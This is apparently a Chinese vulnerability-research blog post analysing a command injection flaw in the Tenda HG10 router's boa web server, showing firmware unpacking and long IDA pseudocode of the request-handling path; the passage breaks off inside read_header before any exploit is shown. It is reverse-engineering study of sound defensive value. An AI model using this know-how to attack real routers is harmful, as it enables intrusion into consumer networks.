Featured image of post Tenda HG10 命令注入漏洞(CVE-2026-1689)

Tenda HG10 命令注入漏洞(CVE-2026-1689)

IOT漏洞逆向分析与利用

[TOC]

Tenda HG10 US_HG7_HG9_HG10re_300001138_en_xpon存在命令注入漏洞,该漏洞源于对件/boaform/admin/formLogin中参数Host的错误操作,可能导致命令注入。

信息收集

Tenda HG10是中国腾达(Tenda)公司的一个光猫路由器。

固件文件: US_HG7_HG9_HG10re_300001138_en_xpon.tar

解压tar之后看到:

文件 大小 内容/作用
fwu.sh 5.4KB 固件升级脚本(shell 脚本,控制刷机流程)
rootfs 9.9MB 根文件系统
uImage 3.4MB Linux 内核镜像(压缩后的内核)
fwu_ver 7B 固件版本号 → v2.0.3
hw_ver 5B 硬件版本 → skip(跳过校验)
md5.txt 206B MD5 校验和(刷机前验证文件完整性)
check_version.txt 24B 版本检查 , TD_DUALBAND_XPON_TDE_ISP
VB_version.txt 3B VB 版本

要的就是 rootfs 根系统文件。

直接binwalk不太行的,

这一行其实信息量很大

  • 整个文件从 0x0 开始就是一个 SquashFS 文件系统;
  • 压缩方式 xz;
  • 里面有 1353 个 inode(≈1353 个文件/目录)。

前边知道了是Squashfs filesystem的话,直接用这个Squashfs filesystem的解压方式去解包固件:

1
unsquashfs -d rootfs_extracted rootfs

那接下来就是漫长的代审了...

一般来说IOT漏洞出现在是Web服务、二进制缓冲区溢出、未授权、命令注入等的这些漏洞,像二进制漏洞就类似pwn题那样的话就是sbinbinusr/binusr/sbin等这些路径的二进制文件诸多一些。

Web后台的路径一般是/www/web/cgi‑bin/cgi/htdocs

大致缩小一下代审范围。

先从Web外端服务入口进入,再到二进制底层查看程序执行逻辑(外部入口 → Web CGI → 调用底层二进制程序)。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
外网/局域网访问 80/443 Web端口
Web服务 (lighttpd / boa / thttpd)
调用 CGI 脚本(.cgi / sh / lua)【第一层漏洞高发区】
CGI 接收http参数,直接传给底层业务二进制
/sbin /usr/sbin 二进制程序【第二层:溢出、命令拼接】
system/popen/nvram_set 执行系统命令,最终root执行

boa 是对外的 Web 管理界面。

确认架构:

1
2
expl0rer@Legion-Ct:~/Desktop/IOT$ file rootfs_extracted/bin/boa
# 输出:rootfs_extracted/bin/boa: ELF 32-bit MSB executable, MIPS, MIPS32 rel2 version 1 (SYSV), BuildID[sha1]=d471e811745cf21cd758f400bfc66acdd629ff3a, dynamically linked, interpreter /lib/ld-uClibc.so.0, no section header

关键信息:

  • 架构:MIPS 32-bit 大端 (Big Endian)
  • 动态链接 (uClibc)
  • 已剥离符号表 (stripped)
  • 无保护

逆向分析

代码审计①

这部分分析过程占大头,特别枯燥而且正反馈特别弱,就感觉和挖洞一点关系都没,似乎就在读文章一样,去理解开发者写的这段代码的意思和工作流程。

拖入IDA,找CTFpwn中的漏洞危险函数(比如strcpy/sprintf/system—):

IDA一把嗦

AI代审

从_start入口开始分析,跳转到ftext结构:

ftext结构体的C伪代码:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
int __fastcall ftext(int argc, const char **argv, const char **envp)
{
  int pid; // $s3
  int v6; // $v0
  int v7; // $s0
  int g_language_state_prev; // $s0
  int n80; // $s0
  int opt; // $v0
  int v12; // $a0
  int v13; // $s2
  int v14; // $s1
  int max_connections; // $v0
  int v16; // $v0
  int v17; // $s0
  int *p_block_read_fdset; // $t8
  int *p_block_write_fdset; // $t8
  int v20; // $s1
  int n2; // $t8
  int v22; // $v0
  int v23; // $s4
  const char *p_echo_2____proc_lan_led_flag; // $a0
  _DWORD *wlan_idx_2; // $t8
  int *p_nds_2; // $a2
  int *p_nds_4_old_1; // $a1
  _DWORD *p_nds_3; // $v1
  int v29; // $s4
  int v30; // $v0
  int v31; // $s6
  const char *p_echo_0____proc_wlan0_led; // $a0
  const char *p_echo_0____tmp_button_status; // $a0
  const char *p_echo_1____proc_wlan0_led; // $a0
  int v35; // $s4
  int v36; // $v0
  int v37; // $s7
  int v38; // $v0
  const char *ethctl_gpio_38; // $a0
  int v40; // $v0
  int wlan_idx; // $s7
  int v42; // $s4
  int v43; // $v0
  int v44; // $s4
  int v45; // $v0
  int v46; // $s4
  int v47; // $a0
  int v48; // $v0
  int v49; // $s4
  int user_login_list_1; // $s4
  _DWORD *errlogin_list_1; // $s4
  int request_ready; // $t8
  int server_s; // $t8
  int server_s_1; // $a0
  int *request_block; // $t8
  int *p_req_timeout; // $t8
  int server_s_2; // $a1
  int server_s_3; // $a2
  int n4_1; // $t8
  BOOL v60; // $t8
  int v61; // $v0
  int n4; // $a0
  void (__fastcall *p_puts)(const char *); // $t9
  const char *p_presetflag.txt_NOT_exist; // $a0
  int v65; // $a0
  char v66[217]; // [sp+20h] [-2A0h] BYREF
  bool p_nds_4; // [sp+F9h] [-1C7h]
  _BYTE v68[64]; // [sp+208h] [-B8h] BYREF
  _DWORD v69[16]; // [sp+248h] [-78h] BYREF
  _DWORD v70[2]; // [sp+288h] [-38h] BYREF
  __int16 v71; // [sp+290h] [-30h]
  int n2_2; // [sp+294h] [-2Ch] BYREF
  int n2_1; // [sp+298h] [-28h] BYREF
  unsigned int n300; // [sp+29Ch] [-24h] BYREF
  int v75; // [sp+2A0h] [-20h] BYREF
  int n3; // [sp+2A4h] [-1Ch] BYREF
  int user_login_list; // [sp+2A8h] [-18h]
  _DWORD *errlogin_list; // [sp+2ACh] [-14h]
  int *p_nds_4_old; // [sp+2B0h] [-10h]
  int *p_nds_1; // [sp+2B4h] [-Ch]
  int *p_nds; // [sp+2B8h] [-8h]
  int wlan_idx_1; // [sp+2BCh] [-4h]

  n300 = 0;
  pthread_mutex_init(&mutex_lock_mesh, 0, envp);
  pthread_create(&thrd1_wifirestart_mesh, 0, mesh_restart_wifi, 0);
  boaASPInit(argc, argv);
  pid = getpid();
  ::pid = pid;
  v6 = fopen64("/var/run/boa.pid", "w");
  v7 = v6;
  if ( v6 )
  {
    fprintf(v6, "%d\n", pid);
    fclose(v7);
  }
  openlog("boa", 1, 0);
  v70[0] = 0;
  v70[1] = 0;
  v71 = 0;
  g_language_state_prev = 0;
  if ( !mib_get(285, v70) )
    return fputs("mib get multi-lingual setting (boa) failed!\n", stderr);
  while ( strcmp(v70, *(&off_51E014 + 2 * g_language_state_prev)) )
  {
    if ( ++g_language_state_prev == 3 )
    {
      fprintf(stderr, "Original [%s] is missing!! Switch to new default [%s].\n", (const char *)v70, "en");
      ::g_language_state_prev = 0;
      g_language_state = 0;
      goto LABEL_8;
    }
  }
  ::g_language_state_prev = g_language_state_prev;
  g_language_state = g_language_state_prev;
LABEL_8:
  strtbl = (int)off_51E304[(unsigned __int8)g_language_state];
  n80 = 80;
  while ( 1 )
  {
    opt = getopt(argc, argv, "p:vc:dns");
    if ( opt == -1 )
      break;
    if ( opt == 110 )
    {
      do_sock = 0;
    }
    else if ( opt >= 111 )
    {
      if ( opt == 115 )
      {
        do_ssl = 0;
      }
      else if ( opt == 118 )
      {
        verbose_logs = 1;
      }
      else
      {
        v12 = 1;
        if ( opt != 112 )
          goto LABEL_65;
        n80 = atoi(optarg);
      }
    }
    else if ( opt == 99 )
    {
      server_root = strdup(optarg);
    }
    else
    {
      if ( opt != 100 )
      {
        v12 = 1;
        goto LABEL_65;
      }
      do_fork = 0;
    }
  }
  fixup_server_root();
  v13 = fopen64("/var/boaSuper.passwd", "w+");
  v14 = fopen64("/var/boaUser.passwd", "w+");
  fclose(v13);
  fclose(v14);
  read_config_files();
  init_fm_apply_thread();
  if ( n80 != 80 )
    set_server_port(n80);
  create_common_env();
  sched_reboot_init_thread();
  if ( !do_ssl )
    goto LABEL_31;
  if ( InitSSLStuff() == 1 )
  {
LABEL_32:
    if ( do_sock )
    {
      ::server_s = socket(10, 2, 6);
      if ( ::server_s == -1 )
        die(3);
      if ( fcntl64(::server_s, 4, 128) == -1 )
        die(4);
      if ( fcntl64(::server_s, 2, 1) == -1 )
      {
        syslog(1, "%s, %i:Couldn't fcntl", "boa.c", 1357);
        die(4);
      }
      if ( setsockopt(::server_s, 0xFFFF, 4, &sock_opt, 4) == -1 )
        die(5);
      server_sockaddr = 10;
      memcpy(&unk_54E16C, &in6addr_any, 16);
      server_port_0 = server_port;
      if ( bind(::server_s, &server_sockaddr, 28) == -1 )
        die(6);
      max_connections = ::max_connections;
      if ( ::max_connections != -1 )
      {
        if ( ::max_connections >= backlog )
          max_connections = backlog;
        backlog = max_connections;
      }
      if ( listen(::server_s, backlog) == -1 )
        die(7);
      if ( server_s_0 < ::server_s )
        server_s_0 = ::server_s;
    }
    if ( init_captiveportal_socket() > 0 && server_s_0 < captiveportal_server_s )
      server_s_0 = captiveportal_server_s;
    g_max_upload_size = 31700000;
    v16 = fopen64("/proc/mtd", "r");
    v17 = v16;
    if ( v16 )
    {
      fgets(v66, 256, v16);
      do
      {
        if ( !fgets(v66, 256, v17) )
          goto LABEL_62;
        wlan_idx_1 = (int)v68;
        if ( sscanf(v66, "%*s%s%*s%s", v69, v68) != 2 )
        {
          puts("Unsuported MTD partition format");
          goto LABEL_62;
        }
      }
      while ( strcmp(wlan_idx_1, "\"rootfs\"") );
      g_max_upload_size = strtol(v69, 0, 16);
LABEL_62:
      fclose(v17);
    }
    else
    {
      puts("/proc/mtd not exists.");
    }
    init_signals();
    if ( fcntl64(::server_s, 2, 1) == -1 )
    {
      v12 = 0;
LABEL_65:
      exit(v12);
    }
    chroot_aliases();
    chroot_virtual_hosts();
    auth_check();
    server_gid = getgid();
    server_uid = getuid();
    writePasswdFile();
    timestamp();
    p_block_read_fdset = block_read_fdset;
    block_read_fdset[0] = 0;
    while ( ++p_block_read_fdset != &suStatus )
      *p_block_read_fdset = 0;
    p_block_write_fdset = &block_write_fdset;
    block_write_fdset = 0;
    while ( ++p_block_write_fdset != &status )
      *p_block_write_fdset = 0;
    dword_54E23C = 0;
    status = 0;
    dword_54E238 = 0;
    snprintf(v66, 50, "echo %d > /proc/dos_syslog", ::pid);
    system(v66);
    signal(16, &DoS_syslog);
    if ( is_defined(0) || is_defined(47) )
      system("echo 0 > /tmp/button_status");
    errlogin_list = 0;
    user_login_list = 0;
    v20 = 1;
    while ( 1 )
    {
      n2_1 = -1;
      if ( (!is_defined(0) || !is_defined(21)) && !is_defined(49) )
        goto LABEL_105;
      *(_DWORD *)v66 = 2;
      n2 = 2;
      if ( !start_flag )
      {
        v22 = fopen64("/proc/upgrade_status", "r");
        v23 = v22;
        if ( v22 )
        {
          fscanf(v22, "%u", v66);
          fclose(v23);
        }
        n2 = *(_DWORD *)v66;
        if ( *(_DWORD *)v66 != 1 )
          break;
      }
LABEL_103:
      if ( n2 == 1 )
        start_flag = 1;
LABEL_105:
      v29 = 0;
      if ( !sysinfo(v69) && v69[0] != dword_52B2E8 )
      {
        dword_52B2E8 = v69[0];
        v29 = 1;
      }
      calltimeout();
      if ( v29 )
      {
        if ( !is_defined(0) && !is_defined(47) )
        {
LABEL_149:
          wlan_idx = ::wlan_idx;
          v40 = fopen64("/proc/wlan_onoff", "r+");
          v42 = v40;
          if ( v40 )
          {
            fscanf(v40, "%d", &n2_1);
            if ( n2_1 == 1 )
            {
              ::wlan_idx = 0;
              wlan_idx_1 = 1;
              wlan_getEntry(v66, 0);
              p_nds_4 = !p_nds_4;
              p_nds = (int *)p_nds_4;
              wlan_setEntry(v66, 0);
              ::wlan_idx = wlan_idx_1;
              wlan_getEntry(v66, 0);
              p_nds_4 = (char)p_nds;
              wlan_setEntry(v66, 0);
              ::wlan_idx = wlan_idx;
              update_wps_configured(0);
              if ( !mib_update(8, 0) )
                puts("CS Flash error! ");
            }
            else if ( n2_1 != 2 )
            {
              goto LABEL_152;
            }
            config_WLAN(3);
            v68[0] = 48;
            fwrite(v68, 1, 1, v42);
LABEL_152:
            fclose(v42);
          }
          if ( getInFlags(WLANIF[0], 0) || getInFlags(WLANIF[1], 0) )
          {
            v43 = fopen64("/proc/gpio", "r+");
            v44 = v43;
            if ( v43 )
            {
              fscanf(v43, "%d", v66);
              if ( *(_DWORD *)v66 == 2 )
              {
                sync_wps_config_mib();
                puts("wps wlan restart");
                config_WLAN(3);
              }
              fclose(v44);
            }
          }
          v45 = fopen64("/proc/load_default", "r");
          v46 = v45;
          if ( v45 )
          {
            v47 = v45;
            if ( !v20 )
              goto LABEL_157;
            fscanf(v45, "%d", &n3);
            if ( (n3 & 0xFFFFFFFD) == 1
              && (system("echo 2 > /proc/load_default"), puts("Going to Reload Default"), Production_test_results() == 1) )
            {
              if ( n3 != 3 )
              {
                system("rm /var/config/presetflag.txt");
                p_puts = (void (__fastcall *)(const char *))&system;
                p_presetflag.txt_NOT_exist = "rm /var/config/logoflag.txt";
                goto LABEL_235;
              }
              v61 = access("/var/config/presetflag.txt", 0);
              p_puts = (void (__fastcall *)(const char *))&puts;
              if ( v61 )
              {
                p_presetflag.txt_NOT_exist = "presetflag.txt NOT exist";
LABEL_235:
                p_puts(p_presetflag.txt_NOT_exist);
                n4 = 4;
              }
              else
              {
                puts("presetflag.txt has exist");
                n4 = 6;
              }
              v20 = 0;
              reset_cs_to_default(n4);
              reset_hs_to_default(0);
              cmd_reboot();
            }
            else
            {
              v20 = 1;
            }
            v47 = v46;
LABEL_157:
            fclose(v47);
          }
          v48 = fopen64("/proc/load_reboot", "r");
          v49 = v48;
          if ( v48 )
          {
            v65 = v48;
            if ( v20 )
            {
              fscanf(v48, "%d", &v75);
              v20 = 1;
              if ( v75 == 1 )
              {
                v20 = 0;
                puts("Going to Reboot");
                cmd_reboot();
              }
              v65 = v49;
            }
            fclose(v65);
          }
          goto LABEL_159;
        }
        n2_2 = -1;
        memset(v68, 0, sizeof(v68));
        v30 = fopen64("/proc/led_key_node", "r+");
        v31 = v30;
        if ( !v30 )
        {
          puts("Can't open /proc/led_key_node \r");
          goto LABEL_149;
        }
        fscanf(v30, "%d", &n2_2);
        if ( n2_2 == 1 )
        {
          if ( is_defined(0) )
          {
            system("echo 0 > /proc/wlan0/led");
            p_echo_0____proc_wlan0_led = "echo 0 > /proc/wlan1/led";
            goto LABEL_119;
          }
          if ( is_defined(47) )
          {
            p_echo_0____proc_wlan0_led = "echo 0 > /proc/wlan0/led";
LABEL_119:
            system(p_echo_0____proc_wlan0_led);
          }
          system("echo 1 > /tmp/button_status");
          p_echo_0____tmp_button_status = "ethctl gpio 38 1";
LABEL_147:
          system(p_echo_0____tmp_button_status);
LABEL_148:
          system("echo 0 > /proc/led_key_node");
          fclose(v31);
          goto LABEL_149;
        }
        if ( n2_2 != 2 )
          goto LABEL_148;
        if ( is_defined(0) || is_defined(47) )
          system("touch /tmp/wifi_status");
        if ( is_defined(0) )
        {
          system("flash get WLAN_MBSSIB_TBL.0.wlanDisabled > /tmp/wifi_status");
          get_wifi_current_status(v68);
          if ( !strcasecmp(v68, "0") )
            system("echo 1 > /proc/wlan0/led");
          system("flash get WLAN1_MBSSIB_TBL.0.wlanDisabled > /tmp/wifi_status");
          get_wifi_current_status(v68);
          if ( !strcasecmp(v68, "0") )
          {
            p_echo_1____proc_wlan0_led = "echo 1 > /proc/wlan1/led";
            goto LABEL_133;
          }
        }
        else if ( is_defined(47) )
        {
          system("flash get WLAN_MBSSIB_TBL.0.wlanDisabled > /tmp/wifi_status");
          get_wifi_current_status(v68);
          if ( !strcasecmp(v68, "0") )
          {
            p_echo_1____proc_wlan0_led = "echo 1 > /proc/wlan0/led";
LABEL_133:
            system(p_echo_1____proc_wlan0_led);
          }
        }
        memset(v66, 0, 128);
        v35 = fopen64("/tmp/voipstatus", "r");
        if ( !v35 )
        {
          puts("file open failed");
          goto LABEL_142;
        }
        memset(v66, 0, 128);
        v36 = fread(v66, 1, 128, v35);
        v37 = v36;
        if ( v36 && (printf("read size=%d, buffer=%s\n", v36, v66), v37 < 0) )
        {
          fclose(v35);
LABEL_142:
          v38 = -1;
        }
        else if ( strcmp(v66, "10000000") )
        {
          v38 = strcmp(v66, "31000000") == 0;
        }
        else
        {
          v38 = 1;
        }
        if ( v38 == 1 )
          ethctl_gpio_38 = "ethctl gpio 38 0 ";
        else
          ethctl_gpio_38 = "ethctl gpio 38 1";
        system(ethctl_gpio_38);
        p_echo_0____tmp_button_status = "echo 0 > /tmp/button_status";
        goto LABEL_147;
      }
LABEL_159:
      if ( !dword_52B2E4 )
        syslog(6, "DSL Link up");
      dword_52B2E4 = 1;
      if ( !mib_get(380, &n300) )
      {
        puts("get auto logout time failed, use 300s as default!");
        n300 = 300;
      }
      for ( user_login_list_1 = ::user_login_list; user_login_list_1; user_login_list_1 = *(_DWORD *)(user_login_list_1 + 4) )
      {
        if ( n300 < time_counter - *(_DWORD *)(user_login_list_1 + 12) )
          ulist_free_login_entry(user_login_list, user_login_list_1);
        user_login_list = user_login_list_1;
      }
      for ( errlogin_list_1 = (_DWORD *)::errlogin_list; errlogin_list_1; errlogin_list_1 = (_DWORD *)*errlogin_list_1 )
      {
        if ( time_counter - errlogin_list_1[2] >= 61 )
          ulist_free_errlog_entry(errlogin_list, errlogin_list_1);
        errlogin_list = errlogin_list_1;
      }
      if ( sighup_flag )
        sighup_run();
      if ( sigchld_flag )
        sigchld_run();
      if ( lame_duck_mode == 1 )
      {
        lame_duck_mode_run(::server_s);
        request_ready = ::request_ready;
      }
      else
      {
        if ( lame_duck_mode != 2 )
          goto LABEL_185;
        request_ready = ::request_ready;
      }
      if ( !request_ready && !::request_block )
        die(15);
LABEL_185:
      fdset_update();
      if ( ::request_ready )
        goto LABEL_217;
      server_s = ::server_s;
      if ( ::server_s < captiveportal_server_s )
        server_s = captiveportal_server_s;
      if ( server_s < 0 )
        server_s = 0;
      block_read_fdset[(unsigned int)captiveportal_server_s >> 5] |= 1 << captiveportal_server_s;
      server_s_0 = server_s;
      if ( do_sock < 2 )
      {
        if ( server_s < server_ssl )
          server_s = server_ssl;
        server_s_0 = server_s;
      }
      server_s_1 = server_s_0;
      request_block = (int *)::request_block;
      while ( request_block )
      {
        server_s_2 = request_block[4];
        if ( server_s_2 < *request_block )
          server_s_2 = *request_block;
        server_s_3 = request_block[40];
        request_block = (int *)request_block[52];
        if ( server_s_2 < server_s_3 )
          server_s_2 = server_s_3;
        if ( server_s_2 >= server_s_1 )
          server_s_1 = server_s_2;
      }
      p_req_timeout = &req_timeout;
      if ( !::request_block )
        p_req_timeout = 0;
      server_s_0 = server_s_1;
      if ( select(server_s_1 + 1, block_read_fdset, &block_write_fdset, 0, p_req_timeout) == -1 )
      {
        n4_1 = *(_DWORD *)_errno_location();
        if ( n4_1 != 4 && n4_1 != 9 )
          die(11);
      }
      else
      {
        v60 = do_sock < 2;
        if ( do_sock )
        {
          if ( ((block_read_fdset[(unsigned int)::server_s >> 5] >> ::server_s) & 1) != 0 )
            get_request();
          v60 = do_sock < 2;
        }
        if ( v60 && ((block_read_fdset[(unsigned int)server_ssl >> 5] >> server_ssl) & 1) != 0 )
          get_ssl_request();
LABEL_217:
        process_requests();
      }
    }
    if ( get_lan_port_status() != 1 )
    {
      system("echo 0 > /proc/lan_led_flag");
      goto LABEL_102;
    }
    get_net_device_stats("eth0.2", &nds_2);
    get_net_device_stats("eth0.3", &nds_3);
    if ( dword_52B1D4 == dword_52B230 && nds_2_old == nds_2 && dword_52B11C == dword_52B178 && nds_3_old == nds_3 )
    {
      if ( is_defined(49) )
      {
        get_net_device_stats("eth0.4", &nds_4);
        get_net_device_stats("eth0.5", &nds_5);
        if ( dword_52B064 == dword_52B0C0 && nds_4_old == nds_4 && dword_52AFAC == dword_52B008 && nds_5_old == nds_5 )
        {
          p_nds = &nds_5;
          p_nds_4_old = &nds_4_old;
          p_nds_1 = &nds_4;
          wlan_idx_1 = (int)&nds_5_old;
          system("echo 1 > /proc/lan_led_flag");
          wlan_idx_2 = (_DWORD *)wlan_idx_1;
          p_nds_2 = p_nds_1;
          p_nds_4_old_1 = p_nds_4_old;
          p_nds_3 = p_nds;
        }
        else
        {
          p_nds = &nds_5;
          p_nds_4_old = &nds_4_old;
          p_nds_1 = &nds_4;
          wlan_idx_1 = (int)&nds_5_old;
          system("echo 2 > /proc/lan_led_flag");
          p_nds_3 = p_nds;
          p_nds_4_old_1 = p_nds_4_old;
          p_nds_2 = p_nds_1;
          wlan_idx_2 = (_DWORD *)wlan_idx_1;
        }
        p_nds_4_old_1[1] = p_nds_2[1];
        *p_nds_4_old_1 = *p_nds_2;
        wlan_idx_2[1] = p_nds_3[1];
        *wlan_idx_2 = *p_nds_3;
        goto LABEL_100;
      }
      p_echo_2____proc_lan_led_flag = "echo 1 > /proc/lan_led_flag";
    }
    else
    {
      p_echo_2____proc_lan_led_flag = "echo 2 > /proc/lan_led_flag";
    }
    system(p_echo_2____proc_lan_led_flag);
LABEL_100:
    dword_52B1D4 = dword_52B230;
    nds_2_old = nds_2;
    dword_52B11C = dword_52B178;
    nds_3_old = nds_3;
LABEL_102:
    n2 = *(_DWORD *)v66;
    goto LABEL_103;
  }
  syslog(1, "Failure initialising SSL support - ");
  if ( do_sock )
  {
    syslog(1, "    supporting normal (unencrypted) sockets only");
    fflush(0);
LABEL_31:
    do_sock = 2;
    goto LABEL_32;
  }
  syslog(1, "    normal sockets disabled, so exiting");
  fflush(0);
  return 0;
}

这里稍微代码体量是比较大的,可以交给AI代审,我的建议是交给豆包(快速模式)通体浏览一下,虽说蠢,但是代审速度很快,不能细致审代码,审个大概是可以的,你按照给的大致分析去细化地交给比较先进的AI接mcp去审代码,这样比较审token速度也会快很多。

在前边查看保护机制发现是没开栈保护的,我习惯性地认为这可能存在缓冲区溢出漏洞,从这入手的话就需要找和外部输入有关的代码比如scanf/strcpy/read函数之类的,在设备中就是主循环(accept + 分发)

豆包梭哈:

先定位到264行这里:

可惜这里不是,这只是处理路由器本地业务:按键、LED、wifi 状态、登录会话超时清理、mib 参数等。

继续梭哈:

在592行这里:

C伪代码翻译一下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
// 如果开启普通http socket服务
if (do_sock != 0)
{
    // 如果监听socket有新连接到达
    if (FD_ISSET(server_s, &block_read_fdset))
    {
        get_request();   // accept接收新连接 + 可能是read读http数据!
    }
    v60 = (do_sock < 2); //标记是否还要处理ssl套接字
}

找到的是 select 模型的请求分发点(不是简单 accept 循环,而是用 select() 监控 socket,就绪了就处理):

1
2
3
4
select() 监控 server_s 这个 socket
  ↓ 有数据可读
get_request()      ← HTTP 请求处理
get_ssl_request()  ← HTTPS 请求处理

双击进入get_request封装函数

get_sock_request(int server_s)函数

get_request()函数的作用是:接收一个新的 TCP 客户端连接,并创建/初始化一个 Boa 请求对象,然后把它放入待处理队列

也就是说它不负责读取 HTTP 请求内容

学过计算机网络应该知道,这就是开启接收信息的前置。

按照这个逻辑的话,那就应该往下继续走了,看到第598行代码:

1
2
        if ( v60 && ((block_read_fdset[(unsigned int)server_ssl >> 5] >> server_ssl) & 1) != 0 )
          get_ssl_request();

get_ssl_request()函数:accept 再加 SSL/TLS 握手server_ssl(443 端口 https listen fd),上边第592行那的应该就是::server_s(80 端口 http listen fd)。

两者恰好就是分别对应HTTPS和HTTP的相关代码:

1
2
3
4
5
6
7
select返回,有socket事件
├─ if(do_sock) {
│    如果80端口listen fd就绪 → get_request() // http新连接
│    v60 = do_sock < 2;  // 计算是否允许处理ssl
│ }
├─ if(v60 && 443 listen fd就绪) → get_ssl_request() // https新连接
└─ process_requests() // http/https统一读取http数据、解析

两套是平行的新连接事件处理器,一套管明文 80,一套管加密 443。

进入process_requests函数分析:

其实到这里,凭自己直觉我感觉就能猜个大概了,全是和接收有关的字面意思:read、process_get的get、read_from_pipe的read_from。

到这里其实就和通信挂钩了,我也不太懂了,借助AI去解释一下并适当学习一下:

状态 回调函数 含义
0,1,2,3 read_header 读取 HTTP 请求头、解析 GET/POST 行、headers
4 read_body 读取 POST 请求 Body 数据
5 write_body 往客户端写响应 body
6 process_get 处理 GET 请求,读文件、执行 cgi/asp
7 read_from_pipe 从子进程管道读数据(cgi 脚本输出)
8 write_from_pipe 把管道数据写给浏览器

下一步跟进 read_header()函数,确认 HTTP 数据是怎样进入 request 结构的。

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
int __fastcall read_header(int a1)
{
  int v2; // $s3
  int v3; // $s6
  int v4; // $a2
  _BYTE *v5; // $s1
  int v6; // $a0
  int v7; // $v0
  int n4; // $v0
  int result; // $v0
  _BYTE *v10; // $s0
  int v11; // $s2
  _BYTE *v12; // $s4
  int v13; // $v0
  int n2; // $v0
  char n2_2; // $a0
  int n13_1; // $a1
  int n10_1; // $v0
  bool v18; // dc
  int n13; // $v0
  int n10; // $a0
  __int16 v21; // $v0
  __int16 v22; // $v0
  char n2_1; // $a0
  __int16 v24; // $v0
  unsigned int n0x20000000; // $v0
  int v26; // $v0
  int n13_2; // $a1
  int v28; // $s1
  int v29; // $a0
  unsigned int g_filesize; // $a3
  int v31; // $a0
  unsigned int v32; // $v0
  int v33; // $v1
  unsigned int n0x1000; // $v0

  v2 = 1;
  v3 = *(_DWORD *)(a1 + 48);
  while ( 2 )
  {
    if ( v3 )
    {
      v5 = (_BYTE *)(a1 + 1273);
      *(_DWORD *)(a1 + 44) = v3;
      *(_DWORD *)(a1 + 48) = 0;
    }
    else
    {
      v4 = *(_DWORD *)(a1 + 44);
      v5 = (_BYTE *)(a1 + v4 + 1273);
      if ( 4096 - v4 < 0 )
      {
        syslog(3, "buffer overrun in read_header1 - closing");
        return 0;
      }
      v6 = *(_DWORD *)(a1 + 216);
      if ( v6 )
        v7 = SSL_read(v6, v5);
      else
        v7 = ((int (__fastcall *)(_DWORD, _BYTE *))read)(*(_DWORD *)a1, v5);
      v3 = v7;
      if ( v7 == -1 )
      {
        n4 = *(_DWORD *)_errno_location();
